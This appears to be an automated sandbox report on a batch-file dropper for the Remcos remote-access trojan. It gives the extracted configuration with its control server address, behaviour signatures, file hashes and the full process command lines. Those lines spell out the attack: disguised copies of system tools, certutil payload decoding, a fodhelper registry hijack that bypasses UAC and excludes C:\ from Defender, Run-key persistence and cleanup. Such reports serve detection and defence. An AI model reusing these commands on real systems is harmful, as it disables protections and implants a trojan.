Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
17-05-2024 10:46
Static task
static1
Behavioral task
behavioral1
Sample
1fbb038040043d4a427658fde2cbfd58557ab54b9d104cc70eecb2829f788263.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
1fbb038040043d4a427658fde2cbfd58557ab54b9d104cc70eecb2829f788263.bat
Resource
win10v2004-20240508-en
General
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Target
1fbb038040043d4a427658fde2cbfd58557ab54b9d104cc70eecb2829f788263.bat
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Size
2.7MB
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MD5
71a2e0b401912d66e4562712b5af765e
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SHA1
5a1b5442baab4f7247002ad14fe7ba54467c7b96
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SHA256
1fbb038040043d4a427658fde2cbfd58557ab54b9d104cc70eecb2829f788263
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SHA512
9439ca8bfbba2f104cc947e177dc98d14cbd9b579b535aadc446446fb6707ec8bd4ab22efd96e2f1dda4e73516ff68046fd4b3bf6bfbb98a7e52ab49416a8859
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SSDEEP
24576:srxwK+DtoQXo3twW5xYRLgd9b+n7ARtI7zv2ziFjbxG4VuxBJGhRCpC:srxwK+DtpPW56s9b+n7ARi7zv2w9G5C
Malware Config
Extracted
remcos
RemoteHost
89.117.145.5:2404
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-Z1AWP0
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
per.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation per.exe -
Executes dropped EXE 25 IoCs
Processes:
alpha.exealpha.exealpha.exealpha.exekn.exealpha.exealpha.exealpha.exealpha.exexkn.exealpha.exeger.exealpha.exekn.exeper.exealpha.exePing_c.pifalpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exepid process 2780 alpha.exe 116 alpha.exe 2484 alpha.exe 1796 alpha.exe 1800 kn.exe 1496 alpha.exe 1868 alpha.exe 4252 alpha.exe 4732 alpha.exe 4728 xkn.exe 1316 alpha.exe 228 ger.exe 2956 alpha.exe 4268 kn.exe 4204 per.exe 2228 alpha.exe 3012 Ping_c.pif 4516 alpha.exe 4568 alpha.exe 5072 alpha.exe 564 alpha.exe 3348 alpha.exe 3536 alpha.exe 4284 alpha.exe 792 alpha.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
Ping_c.pifdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Htdihaig = "C:\\Users\\Public\\Htdihaig.url" Ping_c.pif -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 2828 taskkill.exe -
Modifies registry class 5 IoCs
Processes:
ger.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\ms-settings\shell\open\command ger.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\ms-settings ger.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\ms-settings\shell ger.exe Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\ms-settings\shell\open ger.exe Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" ger.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 23 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 26 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
xkn.exePing_c.pifpid process 4728 xkn.exe 4728 xkn.exe 3012 Ping_c.pif 3012 Ping_c.pif -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
xkn.exetaskkill.exedescription pid process Token: SeDebugPrivilege 4728 xkn.exe Token: SeDebugPrivilege 2828 taskkill.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
SndVol.exepid process 3412 SndVol.exe -
Suspicious use of SendNotifyMessage 2 IoCs
Processes:
SndVol.exepid process 3412 SndVol.exe 3412 SndVol.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exexkn.exealpha.exealpha.exealpha.exePing_c.pifdescription pid process target process PID 936 wrote to memory of 1080 936 cmd.exe extrac32.exe PID 936 wrote to memory of 1080 936 cmd.exe extrac32.exe PID 936 wrote to memory of 2780 936 cmd.exe alpha.exe PID 936 wrote to memory of 2780 936 cmd.exe alpha.exe PID 936 wrote to memory of 116 936 cmd.exe alpha.exe PID 936 wrote to memory of 116 936 cmd.exe alpha.exe PID 936 wrote to memory of 2484 936 cmd.exe alpha.exe PID 936 wrote to memory of 2484 936 cmd.exe alpha.exe PID 2484 wrote to memory of 2416 2484 alpha.exe extrac32.exe PID 2484 wrote to memory of 2416 2484 alpha.exe extrac32.exe PID 936 wrote to memory of 1796 936 cmd.exe alpha.exe PID 936 wrote to memory of 1796 936 cmd.exe alpha.exe PID 1796 wrote to memory of 1800 1796 alpha.exe kn.exe PID 1796 wrote to memory of 1800 1796 alpha.exe kn.exe PID 936 wrote to memory of 1496 936 cmd.exe alpha.exe PID 936 wrote to memory of 1496 936 cmd.exe alpha.exe PID 1496 wrote to memory of 2392 1496 alpha.exe extrac32.exe PID 1496 wrote to memory of 2392 1496 alpha.exe extrac32.exe PID 936 wrote to memory of 1868 936 cmd.exe alpha.exe PID 936 wrote to memory of 1868 936 cmd.exe alpha.exe PID 1868 wrote to memory of 1732 1868 alpha.exe extrac32.exe PID 1868 wrote to memory of 1732 1868 alpha.exe extrac32.exe PID 936 wrote to memory of 4252 936 cmd.exe alpha.exe PID 936 wrote to memory of 4252 936 cmd.exe alpha.exe PID 4252 wrote to memory of 2284 4252 alpha.exe extrac32.exe PID 4252 wrote to memory of 2284 4252 alpha.exe extrac32.exe PID 936 wrote to memory of 4732 936 cmd.exe alpha.exe PID 936 wrote to memory of 4732 936 cmd.exe alpha.exe PID 4732 wrote to memory of 4728 4732 alpha.exe xkn.exe PID 4732 wrote to memory of 4728 4732 alpha.exe xkn.exe PID 4728 wrote to memory of 1316 4728 xkn.exe alpha.exe PID 4728 wrote to memory of 1316 4728 xkn.exe alpha.exe PID 1316 wrote to memory of 228 1316 alpha.exe ger.exe PID 1316 wrote to memory of 228 1316 alpha.exe ger.exe PID 936 wrote to memory of 2956 936 cmd.exe alpha.exe PID 936 wrote to memory of 2956 936 cmd.exe alpha.exe PID 2956 wrote to memory of 4268 2956 alpha.exe kn.exe PID 2956 wrote to memory of 4268 2956 alpha.exe kn.exe PID 936 wrote to memory of 4204 936 cmd.exe per.exe PID 936 wrote to memory of 4204 936 cmd.exe per.exe PID 936 wrote to memory of 2228 936 cmd.exe alpha.exe PID 936 wrote to memory of 2228 936 cmd.exe alpha.exe PID 2228 wrote to memory of 2828 2228 alpha.exe taskkill.exe PID 2228 wrote to memory of 2828 2228 alpha.exe taskkill.exe PID 936 wrote to memory of 3012 936 cmd.exe Ping_c.pif PID 936 wrote to memory of 3012 936 cmd.exe Ping_c.pif PID 936 wrote to memory of 3012 936 cmd.exe Ping_c.pif PID 936 wrote to memory of 4516 936 cmd.exe alpha.exe PID 936 wrote to memory of 4516 936 cmd.exe alpha.exe PID 936 wrote to memory of 4568 936 cmd.exe alpha.exe PID 936 wrote to memory of 4568 936 cmd.exe alpha.exe PID 936 wrote to memory of 5072 936 cmd.exe alpha.exe PID 936 wrote to memory of 5072 936 cmd.exe alpha.exe PID 936 wrote to memory of 564 936 cmd.exe alpha.exe PID 936 wrote to memory of 564 936 cmd.exe alpha.exe PID 936 wrote to memory of 3348 936 cmd.exe alpha.exe PID 936 wrote to memory of 3348 936 cmd.exe alpha.exe PID 936 wrote to memory of 3536 936 cmd.exe alpha.exe PID 936 wrote to memory of 3536 936 cmd.exe alpha.exe PID 936 wrote to memory of 4284 936 cmd.exe alpha.exe PID 936 wrote to memory of 4284 936 cmd.exe alpha.exe PID 936 wrote to memory of 792 936 cmd.exe alpha.exe PID 936 wrote to memory of 792 936 cmd.exe alpha.exe PID 3012 wrote to memory of 4656 3012 Ping_c.pif extrac32.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1fbb038040043d4a427658fde2cbfd58557ab54b9d104cc70eecb2829f788263.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Windows\System32\extrac32.exeC:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"2⤵PID:1080
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "2⤵
- Executes dropped EXE
PID:2780
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"2⤵
- Executes dropped EXE
PID:116
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe3⤵PID:2416
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\1fbb038040043d4a427658fde2cbfd58557ab54b9d104cc70eecb2829f788263.bat" "C:\\Users\\Public\\Ping_c.mp4" 92⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1796 -
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\1fbb038040043d4a427658fde2cbfd58557ab54b9d104cc70eecb2829f788263.bat" "C:\\Users\\Public\\Ping_c.mp4" 93⤵
- Executes dropped EXE
PID:1800
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"3⤵PID:2392
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1868 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"3⤵PID:1732
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4252 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"3⤵PID:2284
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4732 -
C:\Users\Public\xkn.exeC:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4728 -
C:\Users\Public\alpha.exe"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1316 -
C:\Users\Public\ger.exeC:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""5⤵
- Executes dropped EXE
- Modifies registry class
PID:228
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 122⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2956 -
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 123⤵
- Executes dropped EXE
PID:4268
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C:\Windows \System32\per.exe"C:\\Windows \\System32\\per.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
PID:4204
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2228 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettings.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2828
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C:\Users\Public\Libraries\Ping_c.pifC:\Users\Public\Libraries\Ping_c.pif2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\SysWOW64\extrac32.exeC:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Htdihaig.PIF3⤵PID:4656
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C:\Windows\SysWOW64\SndVol.exeC:\Windows\System32\SndVol.exe3⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3412
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"2⤵
- Executes dropped EXE
PID:4516
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"2⤵
- Executes dropped EXE
PID:4568
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c rmdir "C:\Windows \"2⤵
- Executes dropped EXE
PID:5072
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:564
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:3348
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:3536
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S2⤵
- Executes dropped EXE
PID:4284
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:792
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C:\Windows\system32\SystemSettingsAdminFlows.exe"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper1⤵PID:5024
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
894KB
MD5a2749d1be508fa6598a7a328e117e20c
SHA15f208c710d73e3ff99a2204fe954830f78ed0301
SHA25624d07136c34aeda669dd6d6f63464bbcc9501ff196296ace6e69a972d31a8cf7
SHA5128749286189673e2349c66241c3112c23a092132d380b605bb21f4c998c470d210798ec9efac2b7f36503d7c859fea0f4ae2092541325154d8fbac3d11c415e82
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Filesize
1.7MB
MD5e840d77e29c6093c411d3773def69d3a
SHA1a8938e6fa40a088b456a3f39f8e96f15c2b980fb
SHA256e8fd1824c00e608f08e6955ba4a2364b79cee19b4a05b3b5dff5ca13d56b36cd
SHA512524cf98e5a4648080394c1db586ca354601ef0c191ada905fee79950db0263ee818a37c86769cf261b666ed3cf736d0514575f2a998778d21eb45e47b7d5df5c
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Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
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Filesize
75KB
MD5227f63e1d9008b36bdbcc4b397780be4
SHA1c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9
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Filesize
1.6MB
MD5bd8d9943a9b1def98eb83e0fa48796c2
SHA170e89852f023ab7cde0173eda1208dbb580f1e4f
SHA2568de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA51295630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
48KB
MD585018be1fd913656bc9ff541f017eacd
SHA126d7407931b713e0f0fa8b872feecdb3cf49065a
SHA256c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
SHA5123e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459